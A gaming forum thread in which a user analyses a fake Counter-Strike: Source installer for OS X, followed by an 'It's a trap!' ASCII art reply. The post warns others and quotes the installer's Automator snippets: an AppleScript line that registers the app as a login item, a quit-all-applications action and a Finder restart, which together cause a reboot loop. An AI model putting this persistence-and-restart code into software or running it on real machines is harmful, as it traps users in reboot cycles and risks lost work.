That recent Counter Strike:Source installer...

[stroke]

Just for the curious, there was a post in the gaming section about a counter strike:source installer for OS X. People were complaining it threw them into a constant reboot cycle, and I can confirm it appears to be malware. It is actually a workflow application (Automator) and contains these lines:

<string>tell application "System Events" to make new login item with properties {path:"/Applications/CStrike/Installer.app", hidden:false} at end</string>

(Adds the application to the startup routine)

 

<string>on run {input, parameters}

(* Your script goes here *)

return input
end run</string>

(The main routine of the automator app - you can see it wasn't even modified to do anything)

 

<string>/System/Library/Automator/Quit All Applications.action</string>

(An automator action that, obviously, quits all applications)

 

<string>tell application "Finder"
restart
end tell
</string>

(Pretty obvious what this does)

 

That's basically the bulk of user-edited code. The creator of this is very mediocre, at best, as he never took the quicklook preview out.

(Found in Installer.app/Contents/QuickLook/Preview.pdf)

 

This clearly shows ALL of the code involved in that application.

 

Just thought I'd let everyone know (who may have tried it) what was up with it.

 

The full workflow can be found here: http://pastie.org/private/sebupfuqxbpul6akdrvw

[asap18]

. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . _________

. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . ./ It’s a trap!

. . . . . . . . . . . . . . . . _,,,--~~~~~~~~--,_ . . . . ._________/

. . . . . . . . . . . . . . ,-‘ : : : :::: :::: :: : : : : :º ‘-, . . /. . . . . . . . . .

. . . . . . . . . . . . .,-‘ :: : : :::: :::: :::: :::: : : : ‘-, . . . . . . . . . .

. . . . . . . . . . . ,-‘ :: ::: :: : : :: :::: :::: :: : : : : ‘-, . . . . . . . . .

. . . . . . . . . .,-‘ : :: :: :: :: :: : : : : : , : : :º :::: :::: ::’; . . . . . . . .

. . . . . . . . .,-‘ / / : :: :: :: :: : : :::: :::-, ;; ;; ;; ;; ;; ;; ; . . . . . . . .

. . . . . . . . /,-‘,’ :: : : : : : : : : :: :: :: : ‘-, ;; ;; ;; ;; ;; ;;| . . . . . . .

. . . . . . . /,’,-‘ :: :: :: :: :: :: :: : ::_,-~~,_’-, ;; ;; ;; ;; | . . . . . . .

. . . . . _/ :,’ :/ :: :: :: : : :: :: _,-‘/ : ,-‘;’-‘’’’’~-, ;; ;; ;;,’ . . . . . . . .

. . . ,-‘ / : : : : : : ,-‘’’ : : :,--‘’ | /,-‘-‘--‘’’__,’’’ ;; ;,-‘ . . . . . . . .

. . . :/,, : : : _,-‘ --,,_ : : : ||/ /,-‘-‘x### :: ;;/ . . . . . . . . . .

. . . . / /---‘’’’ : # : : : : : | | : (O##º : :/ /-‘’ . . . . . . . . . . .

. . . . /,’____ : : ‘-# : , : : : : ‘-,___,-‘,-`-,, . . . . . . . . . . .

. . . . ‘ ) : : : :’’’’--,,--,,,,,,¯ :: ::--,,_’’-,,’’’¯ :’- :’-, . . . . . . . . .

. . . . .) : : : : : : ,, : ‘’’’~~~~’ :: :: :: :’’’’’¯ :: ,-‘ :,/ . . . . . . . . .

. . . . .,/ /|\| | :/ / : : : : : : : ,’-, :: :: :: :: ::,--‘’ :,-‘ . . . . . . . .

. . . . .\’|\ |/ ‘/ / :: :_--,, : , | )’; :: :: :: :,-‘’ : ,-‘ : : : , . . . . . . .

. . . ./¯ | : |/ :: ::----, :/ :)/ :: :: ,-‘’ : :,-‘ : : : : : : ‘’-,,_ . . . .

. . ..| : : :/ ‘’-(, :: :: :: ‘’’’’~,,,,,’’ :: ,-‘’ : :,-‘ : : : : : : : : :,-‘’’\ . . . .

. ,-‘ : : : | : : ‘’) : : :¯’’’’~-,: : ,--‘’’ : :,-‘’ : : : : : : : : : ,-‘ :¯’’’’’-,_ .

./ : : : : :’-, :: | :: :: :: _,,-‘’’’¯ : ,--‘’ : : : : : : : : : : : / : : : : : : :’’-,

/ : : : : : -, :¯’’’’’’’’’’’¯ : : _,,-~’’ : : : : : : : : : : : : : : : : : : : : : :

: : : : : : :¯’’~~~~~~’’’ : : : : : : : : : : : : : : : : : : | : : : : : : : : :